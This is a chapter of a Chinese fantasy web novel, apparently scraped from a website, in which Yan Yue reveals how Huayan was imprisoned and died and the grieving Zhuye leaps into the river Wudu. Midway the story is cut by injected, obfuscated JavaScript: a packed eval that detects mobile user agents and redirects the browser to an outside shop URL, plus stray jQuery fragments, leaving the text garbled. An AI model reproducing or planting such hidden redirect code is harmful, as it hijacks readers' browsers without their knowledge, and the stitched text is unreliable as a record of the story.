阿无死死盯着她,心里都快气炸了。

    可她澄明的目光却在控诉,好似一切都是他在发疯。

    真是令人厌恶的感受。

    半晌,他猛地松开阿白没等她开口就把她推到了外面,骤然把门死死关严。

    他听着阿白在门口呼唤他,可是他不想理会。

    不一会儿声音消失了,取而代之的是她离去的脚步声。

    阿无冷沉着脸背靠着门框滑下,好似乏力般,垂着头静静地坐起。

    房间内昏暗的光线下,他在阴暗处显得更加可怖。

    深邃的眼眸落入发梢的阴影中。

    “该死……最好别让我找到杀了你的方法,不然我定让你千刀万剐。”

    低沉的嗓音在房间回荡。

    自从那抹黑影回到他身体后,他脑海中总是会浮现阿白的画面,那些好似是他做的,却让他感受不到真实。

    那个声音在他脑海回响:“撕裂她,毁掉她,带着她沉沦……”

    “阿无,你在克制什么?君莫在骗你,他们都骗了你,听我的,你会得到一切,那是来自灵魂的苏醒……”

    那个声音还在蛊惑:“你不是已经感受过了吗?在……”

    “住口……给我滚……”

    “啊……真是无趣,那便将她带来给我,让她死去……活在灵地里,这样我们便可永生永世在一起了……哈哈哈……”那个声音嗤笑起来。

    阿无捂着眉间很是不耐,指尖的黑气不断灌入,“你做梦……她只能是我的……”

    他的东西哪怕是不喜欢也不会拱手让人。

    早晚他会将这个欲念彻底清除。

    下一秒,那个声音变得痛苦起来,渐渐消失,不再发出令他厌烦的话。

    阿无闭上眼,克制着心里涌现的情愫。

    那场欲念的梦境,令他生出了邪祟,欲念之体当真是令人厌恶。

    阿白是他师傅的信徒,他必然会护她周全。

    一个巧言令色的信徒,他怎么可能会有那种心思?

    一切不过是欲念所致。

    阿无自欺欺人着,脑海中不断浮现阿白的身影。

    连他都没有发觉嘴角处不易察觉的笑。

    在他被竹叶的幻术迷惑坠入回忆时,他忍不住回到泯司,好似唯有那里才能够给他一点一点的安全感。

    泯司是师傅让他守护的地方,而他潜意识里也将此地当作自己的地盘。

    受伤的幼兽会循着记忆回到熟悉安全之地。

    好似有母亲的气息,便会觉得自己能治愈。

    阿无也是,他没有故乡,泯司成了他的故地。

    一个无法死亡无法离开的故地。

    他伸手探入自己的胸脯,感受着心脏剧烈地跳动,急促却又带着难以控制的欣喜。

    渐渐的他沉睡过去。

    ……

    阿白回到屋子后,轻触着脖颈处的红痕,显然阿无下手很重。

    “真是个神经病。”她用神魄治愈着,望着镜子的自己,嘴角更加上扬着。

    “没眼光,这多好看。”说着她抬手转着圈,裙摆犹如花瓣般。

    她如清晨唤醒的露珠,滴落的瞬间便能引起心口的涟漪。

    ……

    过了两日,颜家突然宣布新的家主,新的家主一反常态竟然是与颜家毫不相关的外姓人。

    也就是当初目睹颜宽死亡的月儿。

    她被冠上颜姓,在一众质疑声中展示了颜家的独门手艺。

    因颜月成为家主后亲自参与木刻,乐蜀自古以来的传统被打破。

    不少信徒闹起来,最终还是神明出现制止了这场闹剧。

    阿白和阿无在露台上看着这场闹剧最终的结束。

    这几日她都按兵不动,想看看颜家会如何?

    顺便查了下画音,她好似突然出现的人物,没有任何消息。

    她突然出现在颜家想必她定也参与了合作。

    可惜她没探寻到对方的踪迹,对方好似消失了一般。在阿忧离开时,她与颜月目光对视,随后两人默契地移开。

    此刻阿白也想明白了。

    原来不过是借刀杀人啊……

    她手肘在桌面上撑着下巴,“大人,你好像被算计了?”

    阿无抬眸,冷哼一声:“和她合作准没好事。”

    他竟欣然接受被当枪使,阿白觉得这不该是阿无的反应,想到他们认识良久,恐怕都知晓彼此。

    所以蒙在鼓里的是她啊?

    难怪阿无离开的这般爽快!

    阿白很是无奈看了阿无一眼,“大人,看来我对你还是不够了解。”

    “哼……放心,有我在你死不了。”

    言下之意,你可以有很多时间了解。

    阿白有够无语。

    待一切安定后,颜月将颜家管理的井井有条,生意蒸蒸日上。

    不过唯有一事怪异。

    与颜家自是交好的苏家却被颜月无情打压,如今已然呈现颓败之势。

    阿白再次踏入颜府,颜月并未拒见。

    她一副未曾见过的模样,做着客家的寒暄。

    阿白见此顺势提出想要她见一个人的请求。

    所谓解铃还需要系铃人。

    阿白推测颜月和花颜有关系,却始终不敢贸然行动,她不确定会不会伤害竹叶。

    所以待颜宽死后她一直观察着颜月,直到她打压苏家。

    直觉告诉她,她知道内情。

    她还与阿忧合作,想必也不会伤害竹叶。

    桃林中,阿白将竹叶带来。

    竹叶本来不想要来的,阿白给了她颜月刻的木偶,她顿时着急地让阿白带路。

    阿白知道竹叶也探寻到了花颜的气息。

    竹叶满怀期待却又忐忑,触及那张陌生脸庞时,明显失落了。

    “是我妄想了。”她想走,颜月却叫住她。

    竹叶掌心的木偶她曾见过。

    突然颜月扑在竹叶面前跪下,这等变故令阿白和竹叶震惊。

    竹叶连忙伸手想要让她起身,却怎么也拽不动。

    在她哭泣声中,真相渐渐浮出。

    颜月本是花颜身边的婢子,花颜也会教她木刻。

    她们自幼一起长大,直到花颜被逼着成婚。

    颜家不会承认继承人是花颜,所以让颜宽成为家主,而木刻却都是花颜所作。

    花颜本是听话,却在一次出门后变了。

    她开始懈怠,开始想要逃离。

    苏家公子在此刻抛出了橄榄枝。

    只要她同意成婚便会帮助她逃离,他的目的只为了一个姻亲身份。

    花颜当真信了,却在出嫁日遭受新娘掉包,被关在了暗无天日的牢笼。

    颜宽日□□着她木刻,甚至抓了很多有天赋的裨子学习,颜月便是其一。

    花颜悄悄将秘法传给她,一次寻得机会花颜逃走了,待颜宽找到时,亲眼见到她丢下月息花瓣坠落无渡。

    从她被困到坠落不过短短半月。

    颜月还说当初竹叶来寻时,与她见面的是她,那时候的花颜已经死了。

    血淋淋的真相被剖开。

    竹叶踉跄的后退,满脸的不可置信。

    好似意识到什么她转身逃离了桃林。

    身后是颜月的哭喊,她始终觉得对不住她们。

    若不是她将花颜的行踪告知,或许便不会酿成后来的事。

    阿白没想到会是如此。

    哪怕是最后一面都没有见,这简直太残忍。

    她连忙跟上竹叶。

    竹叶踉踉跄跄地跑着,风刮在脸上很是痛。

    她却浑然感觉不到般。

    记忆拉回

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17671085|207376||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    那个雨夜,她好不容易养好伤趁着月姑姑不注意溜出来。

    绵绵细雨,地面很是潮湿,阴冷的风不时吹着,她冷得直哆嗦,却还是在苏家等待着。

    她等了很久,等到细雨沦为倾盆大雨。人们不断跑回家,唯有她举着伞狼狈地等待。

    好似感受不到冰冷,浑身格外僵硬。

    直到夜色将至,她总算看见了熟悉的身影,她笑着上前,原来以为花颜会解释。

    她却说别再找她,她的存在令她恶心。

    她说了很多伤人的话,竹叶却只记住了恶心。

    她连生气都忘记了,只能呆呆的听着,直到花颜被她所谓的丈夫扶着进去。

    门关上时,她看见男子挑衅的目光。

    男子皮囊不错,也不算委屈了花颜。

    她紧盯着男子,原来花颜喜欢这样的,花颜靠在男子身旁,她没办法看清她的面容。

    门关上发出沉闷的响动,犹如此刻她的内心。

    伞柄从指尖滑落,雨水打在她的身上,她好似没有知觉,缓慢地走回来时的路。

    竹叶眼眶泛红,脸颊不断有雨水滑落竟然分不清是泪还是雨。

    她好似失了魂魄,最终走到桥上,石桥下是无渡河。

    乐蜀建立在无渡河之上,只要佩戴花瓣,哪怕坠下也不会落入无渡。

    无渡——一个充满死寂和毁灭的古城,是比泯司还恐怖之处,凡是踏入者永生永世在绝望和痛苦中不得安生。

    在乐蜀,踏入无渡便是死亡,这是比送去泯司还要可怖的惩罚。

    是什么让她这般决绝?

    竹叶忍不住痛哭起来:“为什么会是这样,我宁愿去恨你,都不想知道是这样的结果。”

    “你为什么这般傻?抛弃我又如何?我不在意的,只要你还活着,我们总能再见,只要你活着……”

    第一次她觉得曾经自己的恨是多么的卑鄙,“我怎么能去恨你?怎么有资格埋怨,若是能够帮你,会不会结局不一样?”

    “我到底在做什么?我到底做了什么?”

    她站定捂着胸口感受着那迟来的痛,好似无数蚂蚁撕咬令她连呼吸都难以控制。

    她只能不断地喘息,不断地攥紧胸骨承受着钻心的撕咬。

    她一个身形不稳扑在地上,预想的疼痛没有到来,她落入了一个温暖的怀抱。

    竹叶抬眼看去,那张熟悉的脸映入眼帘,如同记忆中始终温柔对她笑着的模样,她顿时气愤地拍打着自己胸口:“为什么我这般没用,为什么会这般没用啊……”

    “我没有帮上你……阿颜……你恨我好吗?不要在这样看着我了。”

    竹叶扑在女子怀中撕心裂肺的哭喊。

    阿白见状抚摸着她的发安抚着她,显然她把她当作是花颜了。

    “小竹叶,我又怎能恨你,我惟愿你能自由的做自己。”

    阿白轻柔的开口,这是她临走前颜月告诉她的。

    在花颜离去的屋内,刻着这样的话。

    好似知晓真相浮现时,竹叶的悔恨般。

    竹叶明显愣住,瞳孔渐渐清明,待眼前之人变为阿白时,她无声地后退,慢慢地起身了。

    她好似在思索着,连哭都忘记了。

    最后阿白看见她微微张口:“我与自我周旋任还是想做我……”

    刹那间月息花瓣被拽下,在阿白还没反应过来时,竹叶一个转身一跃而下。

    阿白瞪大双眼,忙上前伸手,却与她指尖擦肩而过。

    坠落的瞬间她看见竹叶眼底的解脱。

    她说:“谢谢你,带来了这个好消息。”

    随后弱小的身影被无尽的河水吞噬,雨水啪嗒啪嗒地滴落水中,好似在奏响绝歌。

    半晌,一切又恢复平静,好似一切从未发生。

    独有阿白久久站在桥上,有些愣神……